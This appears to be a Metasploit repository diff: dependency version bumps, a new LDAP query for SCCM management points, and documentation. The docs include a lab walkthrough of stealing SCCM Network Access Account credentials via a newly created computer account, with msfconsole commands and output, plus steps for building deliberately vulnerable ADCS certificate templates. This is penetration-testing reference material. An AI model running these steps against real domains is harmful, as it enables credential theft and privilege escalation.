rack (>= 1, < 3)
|
||||
thor (1.3.2)
|
||||
tilt (2.4.0)
|
||||
tilt (2.6.0)
|
||||
timecop (0.9.10)
|
||||
timeout (0.4.1)
|
||||
timeout (0.4.3)
|
||||
ttfunk (1.8.0)
|
||||
bigdecimal (~> 3.1)
|
||||
tzinfo (2.0.6)
|
||||
concurrent-ruby (~> 1.0)
|
||||
tzinfo-data (1.2024.2)
|
||||
tzinfo-data (1.2025.1)
|
||||
tzinfo (>= 1.0.0)
|
||||
unicode-display_width (2.6.0)
|
||||
unix-crypt (1.3.1)
|
||||
uuid (2.3.9)
|
||||
macaddr (~> 1.0)
|
||||
warden (1.2.9)
|
||||
rack (>= 2.0.9)
|
||||
webrick (1.8.2)
|
||||
websocket-driver (0.7.6)
|
||||
webrick (1.9.1)
|
||||
websocket-driver (0.7.7)
|
||||
base64
|
||||
websocket-extensions (>= 0.1.0)
|
||||
websocket-extensions (0.1.5)
|
||||
win32api (0.1.0)
|
||||
@@ -578,7 +577,7 @@ GEM
|
||||
xmlrpc (0.3.3)
|
||||
webrick
|
||||
yard (0.9.37)
|
||||
zeitwerk (2.6.18)
|
||||
zeitwerk (2.7.2)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
@@ -596,7 +595,7 @@ DEPENDENCIES
|
||||
redcarpet
|
||||
rspec-rails
|
||||
rspec-rerun
|
||||
rubocop
|
||||
rubocop (= 1.67.0)
|
||||
ruby-prof (= 1.4.2)
|
||||
simplecov (= 0.18.2)
|
||||
test-prof
|
||||
|
||||
+86
-89
@@ -1,36 +1,36 @@
|
||||
This file is auto-generated by tools/dev/update_gem_licenses.sh
|
||||
Ascii85, 1.1.1, MIT
|
||||
Ascii85, 2.0.1, MIT
|
||||
aarch64, 2.1.0, "Apache 2.0"
|
||||
abbrev, 0.1.2, "ruby, Simplified BSD"
|
||||
actionpack, 7.0.8.6, MIT
|
||||
actionview, 7.0.8.6, MIT
|
||||
activemodel, 7.0.8.6, MIT
|
||||
activerecord, 7.0.8.6, MIT
|
||||
activesupport, 7.0.8.6, MIT
|
||||
actionpack, 7.0.8.7, MIT
|
||||
actionview, 7.0.8.7, MIT
|
||||
activemodel, 7.0.8.7, MIT
|
||||
activerecord, 7.0.8.7, MIT
|
||||
activesupport, 7.0.8.7, MIT
|
||||
addressable, 2.8.7, "Apache 2.0"
|
||||
afm, 0.2.2, MIT
|
||||
allure-rspec, 2.24.5, "Apache 2.0"
|
||||
allure-ruby-commons, 2.24.5, "Apache 2.0"
|
||||
arel-helpers, 2.15.0, MIT
|
||||
allure-rspec, 2.26.0, "Apache 2.0"
|
||||
allure-ruby-commons, 2.26.0, "Apache 2.0"
|
||||
arel-helpers, 2.16.0, MIT
|
||||
ast, 2.4.2, MIT
|
||||
aws-eventstream, 1.3.0, "Apache 2.0"
|
||||
aws-partitions, 1.999.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.211.0, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.486.0, "Apache 2.0"
|
||||
aws-sdk-ec2instanceconnect, 1.52.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.112.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.95.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.169.0, "Apache 2.0"
|
||||
aws-sdk-ssm, 1.183.0, "Apache 2.0"
|
||||
aws-sigv4, 1.10.1, "Apache 2.0"
|
||||
aws-eventstream, 1.3.2, "Apache 2.0"
|
||||
aws-partitions, 1.1065.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.220.1, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.511.0, "Apache 2.0"
|
||||
aws-sdk-ec2instanceconnect, 1.55.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.119.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.99.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.182.0, "Apache 2.0"
|
||||
aws-sdk-ssm, 1.191.0, "Apache 2.0"
|
||||
aws-sigv4, 1.11.0, "Apache 2.0"
|
||||
base64, 0.2.0, "ruby, Simplified BSD"
|
||||
bcrypt, 3.1.20, MIT
|
||||
bcrypt_pbkdf, 1.1.1, MIT
|
||||
benchmark, 0.4.0, "ruby, Simplified BSD"
|
||||
bigdecimal, 3.1.8, "ruby, Simplified BSD"
|
||||
bigdecimal, 3.1.9, "ruby, Simplified BSD"
|
||||
bindata, 2.4.15, "Simplified BSD"
|
||||
bootsnap, 1.18.4, MIT
|
||||
bson, 5.0.1, "Apache 2.0"
|
||||
bson, 5.0.2, "Apache 2.0"
|
||||
builder, 3.3.0, MIT
|
||||
bundler, 2.5.10, MIT
|
||||
byebug, 11.1.3, "Simplified BSD"
|
||||
@@ -39,12 +39,12 @@ coderay, 1.1.3, MIT
|
||||
concurrent-ruby, 1.3.4, MIT
|
||||
cookiejar, 0.3.4, "Simplified BSD"
|
||||
crass, 1.0.6, MIT
|
||||
csv, 3.3.0, "ruby, Simplified BSD"
|
||||
csv, 3.3.2, "ruby, Simplified BSD"
|
||||
daemons, 1.4.1, MIT
|
||||
date, 3.4.1, "ruby, Simplified BSD"
|
||||
debug, 1.8.0, "ruby, Simplified BSD"
|
||||
diff-lcs, 1.5.1, "MIT, Artistic-2.0, GPL-2.0-or-later"
|
||||
dnsruby, 1.72.2, "Apache 2.0"
|
||||
diff-lcs, 1.6.0, "MIT, Artistic-1.0-Perl, GPL-2.0-or-later"
|
||||
dnsruby, 1.72.4, "Apache 2.0"
|
||||
docile, 1.4.1, MIT
|
||||
domain_name, 0.6.20240107, "Simplified BSD, New BSD, Mozilla Public License 2.0"
|
||||
drb, 2.2.1, "ruby, Simplified BSD"
|
||||
@@ -52,9 +52,9 @@ ed25519, 1.3.0, MIT
|
||||
elftools, 1.3.1, MIT
|
||||
em-http-request, 1.1.7, MIT
|
||||
em-socksify, 0.3.3, MIT
|
||||
erubi, 1.13.0, MIT
|
||||
erubi, 1.13.1, MIT
|
||||
eventmachine, 1.2.7, "ruby, GPL-2.0"
|
||||
factory_bot, 6.5.0, MIT
|
||||
factory_bot, 6.5.1, MIT
|
||||
factory_bot_rails, 6.4.4, MIT
|
||||
faker, 3.5.1, MIT
|
||||
faraday, 2.7.11, MIT
|
||||
@@ -71,51 +71,50 @@ gyoku, 1.4.0, MIT
|
||||
hashery, 2.1.2, "Simplified BSD"
|
||||
hrr_rb_ssh, 0.4.2, "Apache 2.0"
|
||||
hrr_rb_ssh-ed25519, 0.4.2, "Apache 2.0"
|
||||
http-cookie, 1.0.7, MIT
|
||||
http-cookie, 1.0.8, MIT
|
||||
http_parser.rb, 0.8.0, MIT
|
||||
httpclient, 2.8.3, ruby
|
||||
i18n, 1.14.6, MIT
|
||||
io-console, 0.7.2, "ruby, Simplified BSD"
|
||||
httpclient, 2.9.0, ruby
|
||||
i18n, 1.14.7, MIT
|
||||
io-console, 0.8.0, "ruby, Simplified BSD"
|
||||
irb, 1.7.4, "ruby, Simplified BSD"
|
||||
jmespath, 1.6.2, "Apache 2.0"
|
||||
jsobfu, 0.4.2, "New BSD"
|
||||
json, 2.7.5, ruby
|
||||
language_server-protocol, 3.17.0.3, MIT
|
||||
json, 2.10.2, ruby
|
||||
language_server-protocol, 3.17.0.4, MIT
|
||||
little-plugger, 1.1.4, MIT
|
||||
logger, 1.6.1, "ruby, Simplified BSD"
|
||||
logger, 1.6.6, "ruby, Simplified BSD"
|
||||
logging, 2.4.0, MIT
|
||||
loofah, 2.23.1, MIT
|
||||
macaddr, 1.7.2, ruby
|
||||
loofah, 2.24.0, MIT
|
||||
memory_profiler, 1.1.0, MIT
|
||||
metasm, 1.0.5, LGPL-2.1
|
||||
metasploit-concern, 5.0.3, "New BSD"
|
||||
metasploit-credential, 6.0.11, "New BSD"
|
||||
metasploit-framework, 6.4.52, "New BSD"
|
||||
metasploit-concern, 5.0.4, "New BSD"
|
||||
metasploit-credential, 6.0.12, "New BSD"
|
||||
metasploit-framework, 6.4.54, "New BSD"
|
||||
metasploit-model, 5.0.2, "New BSD"
|
||||
metasploit-payloads, 2.0.189, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 6.0.6, "New BSD"
|
||||
metasploit_payloads-mettle, 1.0.35, "3-clause (or ""modified"") BSD"
|
||||
method_source, 1.1.0, MIT
|
||||
mime-types, 3.6.0, MIT
|
||||
mime-types-data, 3.2024.1001, MIT
|
||||
mime-types-data, 3.2025.0304, MIT
|
||||
mini_portile2, 2.8.8, MIT
|
||||
minitest, 5.25.1, MIT
|
||||
minitest, 5.25.5, MIT
|
||||
mqtt, 0.6.0, MIT
|
||||
msgpack, 1.6.1, "Apache 2.0"
|
||||
multi_json, 1.15.0, MIT
|
||||
mustermann, 3.0.3, MIT
|
||||
mutex_m, 0.2.0, "ruby, Simplified BSD"
|
||||
mutex_m, 0.3.0, "ruby, Simplified BSD"
|
||||
nessus_rest, 0.1.6, MIT
|
||||
net-imap, 0.5.0, "ruby, Simplified BSD"
|
||||
net-imap, 0.5.6, "ruby, Simplified BSD"
|
||||
net-ldap, 0.19.0, MIT
|
||||
net-protocol, 0.2.2, "ruby, Simplified BSD"
|
||||
net-sftp, 4.0.0, MIT
|
||||
net-smtp, 0.5.0, "ruby, Simplified BSD"
|
||||
net-smtp, 0.5.1, "ruby, Simplified BSD"
|
||||
net-ssh, 7.3.0, MIT
|
||||
network_interface, 0.0.4, MIT
|
||||
nexpose, 7.3.0, "New BSD"
|
||||
nio4r, 2.7.4, "MIT, Simplified BSD"
|
||||
nokogiri, 1.18.2, MIT
|
||||
nokogiri, 1.18.3, MIT
|
||||
nori, 2.7.1, MIT
|
||||
octokit, 4.25.1, MIT
|
||||
openssl-ccm, 1.2.3, MIT
|
||||
@@ -124,69 +123,69 @@ openvas-omp, 0.0.4, MIT
|
||||
ostruct, 0.6.1, "ruby, Simplified BSD"
|
||||
packetfu, 2.0.0, "New BSD"
|
||||
parallel, 1.26.3, MIT
|
||||
parser, 3.3.5.0, MIT
|
||||
parser, 3.3.7.1, MIT
|
||||
patch_finder, 1.0.2, "New BSD"
|
||||
pcaprub, 0.13.3, LGPL-2.1
|
||||
pdf-reader, 2.12.0, MIT
|
||||
pdf-reader, 2.14.1, MIT
|
||||
pg, 1.5.9, "Simplified BSD"
|
||||
pry, 0.14.2, MIT
|
||||
pry-byebug, 3.10.1, MIT
|
||||
public_suffix, 6.0.1, MIT
|
||||
puma, 6.4.3, "New BSD"
|
||||
puma, 6.6.0, "New BSD"
|
||||
racc, 1.8.1, "ruby, Simplified BSD"
|
||||
rack, 2.2.10, MIT
|
||||
rack, 2.2.13, MIT
|
||||
rack-protection, 3.2.0, MIT
|
||||
rack-test, 2.1.0, MIT
|
||||
rack-test, 2.2.0, MIT
|
||||
rails-dom-testing, 2.2.0, MIT
|
||||
rails-html-sanitizer, 1.6.0, MIT
|
||||
railties, 7.0.8.6, MIT
|
||||
rails-html-sanitizer, 1.6.2, MIT
|
||||
railties, 7.0.8.7, MIT
|
||||
rainbow, 3.1.1, MIT
|
||||
rake, 13.2.1, MIT
|
||||
rasn1, 0.13.0, MIT
|
||||
rasn1, 0.14.0, MIT
|
||||
rb-readline, 0.5.5, BSD
|
||||
recog, 3.1.11, unknown
|
||||
redcarpet, 3.6.0, MIT
|
||||
regexp_parser, 2.9.2, MIT
|
||||
reline, 0.5.10, ruby
|
||||
recog, 3.1.14, unknown
|
||||
redcarpet, 3.6.1, MIT
|
||||
regexp_parser, 2.10.0, MIT
|
||||
reline, 0.6.0, ruby
|
||||
require_all, 3.0.0, MIT
|
||||
rex-arch, 0.1.16, "New BSD"
|
||||
rex-bin_tools, 0.1.9, "New BSD"
|
||||
rex-arch, 0.1.18, "New BSD"
|
||||
rex-bin_tools, 0.1.10, "New BSD"
|
||||
rex-core, 0.1.32, "New BSD"
|
||||
rex-encoder, 0.1.7, "New BSD"
|
||||
rex-exploitation, 0.1.40, "New BSD"
|
||||
rex-java, 0.1.7, "New BSD"
|
||||
rex-mime, 0.1.8, "New BSD"
|
||||
rex-nop, 0.1.3, "New BSD"
|
||||
rex-ole, 0.1.8, "New BSD"
|
||||
rex-powershell, 0.1.100, "New BSD"
|
||||
rex-random_identifier, 0.1.13, "New BSD"
|
||||
rex-registry, 0.1.5, "New BSD"
|
||||
rex-rop_builder, 0.1.5, "New BSD"
|
||||
rex-socket, 0.1.58, "New BSD"
|
||||
rex-sslscan, 0.1.10, "New BSD"
|
||||
rex-struct2, 0.1.4, "New BSD"
|
||||
rex-text, 0.2.59, "New BSD"
|
||||
rex-zip, 0.1.5, "New BSD"
|
||||
rexml, 3.3.9, "Simplified BSD"
|
||||
rex-encoder, 0.1.8, "New BSD"
|
||||
rex-exploitation, 0.1.41, "New BSD"
|
||||
rex-java, 0.1.8, "New BSD"
|
||||
rex-mime, 0.1.11, "New BSD"
|
||||
rex-nop, 0.1.4, "New BSD"
|
||||
rex-ole, 0.1.9, "New BSD"
|
||||
rex-powershell, 0.1.101, "New BSD"
|
||||
rex-random_identifier, 0.1.15, "New BSD"
|
||||
rex-registry, 0.1.6, "New BSD"
|
||||
rex-rop_builder, 0.1.6, "New BSD"
|
||||
rex-socket, 0.1.59, "New BSD"
|
||||
rex-sslscan, 0.1.11, "New BSD"
|
||||
rex-struct2, 0.1.5, "New BSD"
|
||||
rex-text, 0.2.60, "New BSD"
|
||||
rex-zip, 0.1.6, "New BSD"
|
||||
rexml, 3.4.1, "Simplified BSD"
|
||||
rkelly-remix, 0.0.7, MIT
|
||||
rspec, 3.13.0, MIT
|
||||
rspec-core, 3.13.2, MIT
|
||||
rspec-core, 3.13.3, MIT
|
||||
rspec-expectations, 3.13.3, MIT
|
||||
rspec-mocks, 3.13.2, MIT
|
||||
rspec-rails, 7.0.1, MIT
|
||||
rspec-rails, 7.1.1, MIT
|
||||
rspec-rerun, 1.1.0, MIT
|
||||
rspec-support, 3.13.1, MIT
|
||||
rspec-support, 3.13.2, MIT
|
||||
rubocop, 1.67.0, MIT
|
||||
rubocop-ast, 1.33.0, MIT
|
||||
rubocop-ast, 1.38.1, MIT
|
||||
ruby-macho, 4.1.0, MIT
|
||||
ruby-mysql, 4.1.0, MIT
|
||||
ruby-mysql, 4.2.0, MIT
|
||||
ruby-prof, 1.4.2, "Simplified BSD"
|
||||
ruby-progressbar, 1.13.0, MIT
|
||||
ruby-rc4, 0.1.5, MIT
|
||||
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
|
||||
ruby_smb, 3.3.13, "New BSD"
|
||||
rubyntlm, 0.6.5, MIT
|
||||
rubyzip, 2.3.2, "Simplified BSD"
|
||||
rubyzip, 2.4.1, "Simplified BSD"
|
||||
sawyer, 0.9.2, MIT
|
||||
simplecov, 0.18.2, MIT
|
||||
simplecov-html, 0.13.1, MIT
|
||||
@@ -196,22 +195,20 @@ sqlite3, 1.7.3, "New BSD"
|
||||
sshkey, 3.0.0, MIT
|
||||
strptime, 0.2.5, "Simplified BSD"
|
||||
swagger-blocks, 3.0.0, MIT
|
||||
systemu, 2.6.5, ruby
|
||||
test-prof, 1.4.2, MIT
|
||||
test-prof, 1.4.4, MIT
|
||||
thin, 1.8.2, "GPL-2.0+, ruby"
|
||||
thor, 1.3.2, MIT
|
||||
tilt, 2.4.0, MIT
|
||||
tilt, 2.6.0, MIT
|
||||
timecop, 0.9.10, MIT
|
||||
timeout, 0.4.1, "ruby, Simplified BSD"
|
||||
timeout, 0.4.3, "ruby, Simplified BSD"
|
||||
ttfunk, 1.8.0, "Nonstandard, GPL-2.0-only, GPL-3.0-only"
|
||||
tzinfo, 2.0.6, MIT
|
||||
tzinfo-data, 1.2024.2, MIT
|
||||
tzinfo-data, 1.2025.1, MIT
|
||||
unicode-display_width, 2.6.0, MIT
|
||||
unix-crypt, 1.3.1, 0BSD
|
||||
uuid, 2.3.9, MIT
|
||||
warden, 1.2.9, MIT
|
||||
webrick, 1.8.2, "ruby, Simplified BSD"
|
||||
websocket-driver, 0.7.6, "Apache 2.0"
|
||||
webrick, 1.9.1, "ruby, Simplified BSD"
|
||||
websocket-driver, 0.7.7, "Apache 2.0"
|
||||
websocket-extensions, 0.1.5, "Apache 2.0"
|
||||
win32api, 0.1.0, unknown
|
||||
windows_error, 0.1.5, BSD
|
||||
@@ -219,4 +216,4 @@ winrm, 2.3.9, "Apache 2.0"
|
||||
xdr, 3.0.3, "Apache 2.0"
|
||||
xmlrpc, 0.3.3, "ruby, Simplified BSD"
|
||||
yard, 0.9.37, MIT
|
||||
zeitwerk, 2.6.18, MIT
|
||||
zeitwerk, 2.7.2, MIT
|
||||
|
||||
@@ -387,3 +387,12 @@ queries:
|
||||
references:
|
||||
- https://www.thehacker.recipes/ad/movement/builtins/pre-windows-2000-computers
|
||||
- https://trustedsec.com/blog/diving-into-pre-created-computer-accounts
|
||||
- action: ENUM_SCCM_MANAGEMENT_POINTS
|
||||
description: 'Find all registered SCCM/MECM management points'
|
||||
filter: '(objectclass=mssmsmanagementpoint)'
|
||||
attributes:
|
||||
- cn
|
||||
- dNSHostname
|
||||
- msSMSSiteCode
|
||||
references:
|
||||
- https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/RECON/RECON-1/recon-1_description.md
|
||||
+18997
-50728
File diff suppressed because it is too large
Load Diff
+4
-4
@@ -17,15 +17,15 @@ GEM
|
||||
byebug (11.1.3)
|
||||
coderay (1.1.3)
|
||||
colorator (1.1.0)
|
||||
concurrent-ruby (1.3.4)
|
||||
concurrent-ruby (1.3.5)
|
||||
em-websocket (0.5.3)
|
||||
eventmachine (>= 0.12.9)
|
||||
http_parser.rb (~> 0)
|
||||
eventmachine (1.2.7)
|
||||
ffi (1.17.0)
|
||||
ffi (1.17.1)
|
||||
forwardable-extended (2.6.0)
|
||||
http_parser.rb (0.8.0)
|
||||
i18n (1.14.6)
|
||||
i18n (1.14.7)
|
||||
concurrent-ruby (~> 1.0)
|
||||
jekyll (4.3.4)
|
||||
addressable (~> 2.4)
|
||||
@@ -76,7 +76,7 @@ GEM
|
||||
rb-fsevent (0.11.2)
|
||||
rb-inotify (0.11.1)
|
||||
ffi (~> 1.0)
|
||||
rexml (3.4.0)
|
||||
rexml (3.4.1)
|
||||
rouge (4.5.1)
|
||||
safe_yaml (1.0.5)
|
||||
sassc (2.4.0)
|
||||
|
||||
+1
-1
@@ -892,7 +892,7 @@ In the following example the AUTO mode is used to issue a certificate for the MS
|
||||
authenticated.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(server/relay/esc8) > set RELAY_TARGETS 172.30.239.85
|
||||
msf6 auxiliary(server/relay/esc8) > set RHOSTS 172.30.239.85
|
||||
msf6 auxiliary(server/relay/esc8) > run
|
||||
[*] Auxiliary module running as background job 1.
|
||||
msf6 auxiliary(server/relay/esc8) >
|
||||
|
||||
@@ -0,0 +1,150 @@
|
||||
## NAA Credential Exploitation
|
||||
|
||||
The NAA account is used by some SCCM configurations in the policy deployment process. It does not require many privileges, but
|
||||
in practice is often misconfigured to have excessive privileges.
|
||||
|
||||
The account can be retrieved in various ways, many requiring local administrative privileges on an existing host. However,
|
||||
it can also be requested by an existing computer account, which by default most user accounts are able to create.
|
||||
|
||||
|
||||
## Module usage
|
||||
The `admin/dcerpc/samr_computer` module is generally used to first create a computer account, which requires no permissions:
|
||||
|
||||
1. From msfconsole
|
||||
2. Do: `use auxiliary/admin/dcerpc/samr_account`
|
||||
3. Set the `RHOSTS`, `SMBUser` and `SMBPass` options
|
||||
a. For the `ADD_COMPUTER` action, if you don't specify `ACCOUNT_NAME` or `ACCOUNT_PASSWORD` - one will be generated automatically
|
||||
b. For the `DELETE_ACCOUNT` action, set the `ACCOUNT_NAME` option
|
||||
c. For the `LOOKUP_ACCOUNT` action, set the `ACCOUNT_NAME` option
|
||||
4. Run the module and see that a new machine account was added
|
||||
|
||||
Then the `auxiliary/admin/sccm/get_naa_credentials` module can be used:
|
||||
|
||||
1. `use auxiliary/admin/sccm/get_naa_credentials`
|
||||
2. Set the `RHOST` value to a target domain controller (if LDAP autodiscovery is used)
|
||||
3. Set the `USERNAME` and `PASSWORD` information to a domain account
|
||||
4. Set the `COMPUTER_USER` and `COMPUTER_PASSWORD` to the values obtained through the `samr_computer` module
|
||||
5. Run the module to obtain the NAA credentials, if present.
|
||||
|
||||
Alternatively, if the Management Point and Site Code are known, the module can be used without autodiscovery:
|
||||
|
||||
1. `use auxiliary/admin/sccm/get_naa_credentials`
|
||||
2. Set the `COMPUTER_USER` and `COMPUTER_PASSWORD` to the values obtained through the `samr_computer` module
|
||||
3. Set the `MANAGEMENT_POINT` and `SITE_CODE` to the known values.
|
||||
4. Run the module to obtain the NAA credentials, if present.
|
||||
|
||||
The management point and site code can be retrieved using the `auxiliary/gather/ldap_query` module, using the `ENUM_SCCM_MANAGEMENT_POINTS` action.
|
||||
|
||||
See the Scenarios for a more detailed walk through
|
||||
|
||||
## Options
|
||||
|
||||
### RHOST, USERNAME, PASSWORD, DOMAIN, SESSION, RHOST
|
||||
Options used to authenticate to the Domain Controller's LDAP service for SCCM autodiscovery.
|
||||
|
||||
### COMPUTER_USER, COMPUTER_PASSWORD
|
||||
|
||||
Credentials for a computer account (may be created with the `samr_account` module). If you've retrieved the NTLM hash of
|
||||
a computer account, you can use that for COMPUTER_PASSWORD.
|
||||
|
||||
### MANAGEMENT_POINT
|
||||
The SCCM server.
|
||||
|
||||
### SITE_CODE
|
||||
The Site Code of the management point.
|
||||
|
||||
## Scenarios
|
||||
In the following example the user `ssccm.lab\eve` is a low-privilege user.
|
||||
|
||||
### Creating computer account
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/dcerpc/samr_account) > run rhost=192.168.33.10 domain=sccm.lab username=eve password=iloveyou
|
||||
[*] Running module against 192.168.33.10
|
||||
|
||||
[*] 192.168.33.10:445 - Adding computer
|
||||
[+] 192.168.33.10:445 - Successfully created sccm.lab\DESKTOP-2KVDWNZ3$
|
||||
[+] 192.168.33.10:445 - Password: pJTrvFyDHiHnqtlqTTNYe2HPVpO3Yekj
|
||||
[+] 192.168.33.10:445 - SID: S-1-5-21-3875312677-2561575051-1173664991-1128
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Running with Autodiscovery
|
||||
Using the credentials just obtained with the `samr_account` module.
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/sccm/get_naa_credentials) > options
|
||||
|
||||
Module options (auxiliary/admin/sccm/get_naa_credentials):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
COMPUTER_PASS yes The password of the provided computer account
|
||||
COMPUTER_USER yes The username of a computer account
|
||||
MANAGEMENT_POINT no The management point (SCCM server) to use
|
||||
SITE_CODE no The site code to use on the management point
|
||||
SSL false no Enable SSL on the LDAP connection
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Used when connecting via an existing SESSION:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SESSION 1 no The session to run this module on
|
||||
|
||||
|
||||
Used when making a new connection via RHOSTS:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
DOMAIN no The domain to authenticate to
|
||||
PASSWORD no The password to authenticate with
|
||||
RHOSTS no The domain controller (for autodiscovery). Not required if providing a management point and site code
|
||||
RPORT 389 no The LDAP port of the domain controller (for autodiscovery). Not required if providing a management point and site code (TCP)
|
||||
USERNAME no The username to authenticate with
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
msf6 auxiliary(admin/sccm/get_naa_credentials) > run rhost=192.168.33.10 username=eve domain=sccm.lab password=iloveyou computer_user=DESKTOP-2KVDWNZ3$ computer_pass=pJTrvFyDHiHnqtlqTTNYe2HPVpO3Yekj
|
||||
[*] Running module against 192.168.33.10
|
||||
|
||||
[*] Discovering base DN automatically
|
||||
[*] 192.168.33.10:389 Discovered base DN: DC=sccm,DC=lab
|
||||
[+] Found Management Point: MECM.sccm.lab (Site code: P01)
|
||||
[*] Got SMS ID: BD0DC478-A71A-4348-BD14-B7E91335738E
|
||||
[*] Waiting 5 seconds for SCCM DB to update...
|
||||
[*] Got NAA Policy URL: http://<mp>/SMS_MP/.sms_pol?{c48754cc-090c-4c56-ba3d-532b5ce5e8a5}.2_00
|
||||
[+] Found valid NAA credentials: sccm.lab\sccm-naa:123456789
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Manual discovery
|
||||
|
||||
```
|
||||
msf6 auxiliary(gather/ldap_query) > run rhost=192.168.33.10 username=eve domain=sccm.lab password=iloveyou
|
||||
[*] Running module against 192.168.33.10
|
||||
|
||||
[*] 192.168.33.10:389 Discovered base DN: DC=sccm,DC=lab
|
||||
CN=SMS-MP-P01-MECM.SCCM.LAB,CN=System Management,CN=System,DC=sccm,DC=lab
|
||||
=========================================================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
cn SMS-MP-P01-MECM.SCCM.LAB
|
||||
dnshostname MECM.sccm.lab
|
||||
mssmssitecode P01
|
||||
|
||||
[*] Query returned 1 result.
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
msf6 auxiliary(gather/ldap_query) > use auxiliary/admin/sccm/get_naa_credentials
|
||||
|
||||
msf6 auxiliary(admin/sccm/get_naa_credentials) > run computer_user=DESKTOP-2KVDWNZ3$ computer_pass=pJTrvFyDHiHnqtlqTTNYe2HPVpO3Yekj management_point=MECM.sccm.lab site_code=P01
|
||||
|
||||
[*] Got SMS ID: BD0DC478-A71A-4348-BD14-B7E91335738E
|
||||
[*] Waiting 5 seconds for SCCM DB to update...
|
||||
[*] Got NAA Policy URL: http://<mp>/SMS_MP/.sms_pol?{c48754cc-090c-4c56-ba3d-532b5ce5e8a5}.2_00
|
||||
[+] Found valid NAA credentials: sccm.lab\sccm-naa:123456789
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -79,6 +79,58 @@ a normal user account by analyzing the objects in LDAP.
|
||||
1. Scroll down and select the `ESC3-Template2` certificate, and select `OK`.
|
||||
1. The certificate should now be available to be issued by the CA server.
|
||||
|
||||
### Setting up a ESC4 Vulnerable Certificate Template
|
||||
1. Follow the instructions above to duplicate the ESC2 template and name it `ESC4-Template`, then click `Apply`.
|
||||
1. Go to the `Security` tab.
|
||||
1. Under `Groups or usernames` select `Authenticated Users`
|
||||
1. Under `Permissions for Authenticated Users` select `Write` -> `Allow`.
|
||||
1. Click `Apply` and then click `OK` to issue the certificate.
|
||||
1. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder.
|
||||
1. Click `New` followed by `Certificate Template to Issue`.
|
||||
1. Scroll down and select the `ESC3-Template2` certificate, and select `OK`.
|
||||
1. The certificate should now be available to be issued by the CA server.
|
||||
|
||||
### Setting up a ESC13 Vulnerable Certificate Template
|
||||
1. Follow the instructions above to duplicate the ESC2 template and name it `ESC13`, then click `Apply`.
|
||||
1. Go to the `Extensions` tab, click the Issuance Policies entry, click the `Add` button, click the `New...` button.
|
||||
1. Name the new issuance policy `ESC13-Issuance-Policy`.
|
||||
4. Copy the Object Identifier as this will be needed later (ex: 11.3.6.1.4.1.311.21.8.12682474.6065318.6963902.6406785.3291287.83.1172775.12545198`).
|
||||
1. Leave the CPS location field blank.
|
||||
1. Click `Apply`.
|
||||
1. Open Active Directory Users and Computers, expand the domain on the left hand side.
|
||||
1. Right click `Users` and navigate to New -> Group.
|
||||
1. Enter `ESC13-Group` for the Group Name.
|
||||
1. Select `Universal` for Group scope and `Security` for Group type.
|
||||
1. Click `Apply`.
|
||||
1. Open ADSI Edit.
|
||||
1. In the left hand side right click `ADSI Edit` and select `Connect to...`.
|
||||
1. Under `Select a well known naming context` select `Default naming context`.
|
||||
1. Select the newly established connection, select the domain, select `CN=User`.
|
||||
1. On the right hand side find the recently created security group `CN=ESC13-Group`, right click select properties.
|
||||
1. Copy the value of the `distinguishedName` attribute, save this as we'll need it later.
|
||||
1. Back on the left hand side establish another connection, right click `ADSI Edit` and select `Connect to...`.
|
||||
1. This time under `Select a well known naming context` select `Configuration`.
|
||||
1. Select the newly established connection, select the domain, select `CN=Services` -> `CN=Public Key Services` -> `CN=OID`.
|
||||
1. In the right hand side find the object that corresponds to the Object Identifier saved earlier.
|
||||
1. The OID saved earlier ended in `12545198`, the object on the right will start with `CN=12545198.` followed by 34 hex characters. ex: `CN=12545198.7BCA239924D9515E63EA6B6F00748837`).
|
||||
1. Once located right click -> properties, select `msDS-OIDToGroupLink`.
|
||||
1. Paste the `distingushedName` of the security group saved above (ex: `CN=ESC13-Group,CN=Users,DC=demo,DC=lab`).
|
||||
1. Click `Apply`.
|
||||
1. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder.
|
||||
1. Click `New` followed by `Certificate Template to Issue`.
|
||||
1. Scroll down and select the `ESC13-Template` certificate, and select `OK`.
|
||||
1. The certificate should now be available to be issued by the CA server.
|
||||
|
||||
### Setting up a ESC15 Vulnerable Certificate Template
|
||||
1. ESC15 depends on the schema version of the template being version 1 - which can no longer be created so we will edit an existing template that is schema version 1.
|
||||
1. Right click the `WebServer` template, select properties.
|
||||
1. Go to the Security Tab.
|
||||
1. Under `Groups or usernames` select `Authenticated Users`.
|
||||
1. Under `Permissions for Authenticated Users` select `Enroll` -> `Allow`.
|
||||
1. Click Apply.
|
||||
1. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder and ensure `WebServer` is listed, if it's not, add it.
|
||||
1. The certificate should now be available to be issued by the CA server.
|
||||
|
||||
## Module usage
|
||||
|
||||
1. Do: Start msfconsole
|
||||
|
||||
@@ -0,0 +1,19 @@
|
||||
## Description
|
||||
|
||||
